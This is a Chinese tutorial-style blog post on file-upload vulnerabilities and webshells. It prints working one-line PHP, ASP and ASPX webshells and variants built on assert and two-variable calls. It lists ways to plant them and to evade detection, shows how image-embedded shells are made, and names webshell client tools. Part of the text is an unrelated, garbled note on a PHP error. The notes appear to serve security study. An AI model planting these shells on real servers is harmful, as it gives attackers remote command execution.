文件上传漏洞

文件上传漏洞

webshell

webshell就是以aspphp、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。

并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志(apache的access.log)中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

木马分类:
  • 一句话木马:代码短,只有一行代码。使用场景多,可单独生成。安全性高,隐匿性强,可变形免杀。
  • 图片马
  • 大马:体积大,功能全。会调用系统的关键函数。以代码加密的形式进行隐藏。

一句话木马:又称小马,网马,后门

​ 即利用简单少量代码实现命令执行,文件管理等目的

​ eg:<?php eval($_POST[‘cmd’]);?>

eval:代码执行的结构,将后面的参数作为php代码执行

$_POST:参数传递的方式

cmd:参数的名字

  • asp一句话木马

    <%execute(request(“value”))%>

  • php一句话木马

    <?php eval($_POST[‘value’]);?>
  • aspx一句话木马

    <%@Page Language=“Jscript”%>

    <%eval(Resquest.Item[“value”])%>

木马的植入方式

方式一:以文件的形式上传到服务器端

​ 上传文件可以利用MySQL的into outfile,表单文件上传等方式上传

方式二:以字符串的形式上传到服务器端

​ 通过MySQL的日志方式,shell的echo方式,命令执行,反序列化等方式

​ 写入一句话代码,可写入新文件或者已存在的页面

方式三:图片马+文件包含漏洞

​ 通过上传图片马,结合文件包含漏洞上传webshell;

木马变形
  1. 函数替换
  2. 双变量绕过
  3. 字符串变形绕过
  4. 定义函数绕过
  5. 回调函数绕过
  6. 类绕过
  7. 编码绕过
  8. 特殊字符干扰绕过
  9. 无字符特征码绕过

特殊敏感字符可能会被当作木马文件删除

1.函数替换

php中除了eval,还有其他函数也可以执行代码,比如assert函数

命令执行函数system,passthru,exec,shell_exec等

eg:<?php assert($_POST[‘cmd’]);?>

image-20220705154710265

​ <?php @assert($_POST[‘cmd’]);?>

@ 的作用是用来隐藏报错信息

image-20220705154747573

image-20220705155020056

image-20220705155124862

2.双变量绕过
<?php $_POST[‘a’]($_POST[‘b’]);?>

第一个post得到函数名,第二个post得到执行的参数

image-20220705162538951

在调试php代码时,抛出了“ Function name must be a string”错误,搜索了一些相关的资料,总结出了下面一些可以引起错误的资料以及解决方法。

产生错误的原因

1、使用系统变量产生错误

php产生“Function name must be a string”错误,一般出现在以“$_”开头的系统变量上面,比如下面的代码就出抛出这个错误.

示例代码:

$_GET['host'] = 'feiniaomy.com';
echo $_GET('host');  //这一行会抛出错误
$_POST['host'] = 'feiniaomy.com';
echo $_POST('host'); //这一行也会抛出错误

[复制](javascript:😉

注意:

1、$_GET(‘host’) 以及 G E T ( ′ h o s t ′ ) 这 样 写 的 话 , p h p 会 认 为 你 的 _GET('host') 这样写的话,php会认为你的 GET(host)php_GET或 P O S T 是 一 个 f u n c t i o n 函 数 , 但 前 面 又 有 _POST是一个 function 函数,但前面又有 POSTfunction符号,php 又认为他们是一个变量

2、变量是不能作为函数的,所以php会抛出“Function name must be a string”错误

3、如果在使用 G E T , _GET, GET,_POST, C O O K I E , _COOKIE, COOKIE,_FILES,$_REQUEST 以及 $_SERVER 输出其中单的变量时,一定要用方括号而非括弧,例如 $_GET[‘xxx’] , $_POST[‘xxx’]

修正上面的错误代码:

$_GET['host'] = 'feiniaomy.com';
echo $_GET['host'];
$_POST['host'] = 'feiniaomy.com';
echo $_POST['host'];

[复制](javascript:😉

2、使用数组产生错误

在输出数组的单个元素时,如果不使用方括号也会产生“Function name must be a string”错误

错误代示例:

$arr = array('1','2','3',"feiniaomy.com");
echo $arr(3); //这一行会抛出错误

[复制](javascript:😉

修正代码:

$arr = array('1','2','3',"feiniaomy.com");
echo $arr[3];

image-20220705163430331

可以执行说明代码没有问题

$_POST['a']=assert   $_POST['ryan']=$_POST['b']

image-20220705164030869

3.图片马的制作–CMD
image-20220705165756628

其中b表示以二进制文件,a表示以ASCII文件

4.图片马的制作–属性
image-20220705170142405

右键图片属性,详细信息,直接在版权中加入一句话木马

5.图片马的制作–工具

用C32Asm,拽入图片,选择十六进制

image-20220705170657935

image-20220705171014686

用C32打开刚刚制作的2.jpg拉到最后,可以看到植入的php一句话木马

image-20220705170852611

可以直接在C32里最后面加入一句话木马

6.大马

image-20220705191201655

image-20220705191250591

渗透测试工具

冰蝎

image-20220705192636845

菜刀

image-20220705192734746

中国蚁剑

image-20220705193003336

哥斯拉

image-20220705193056557

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

游子无寒衣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值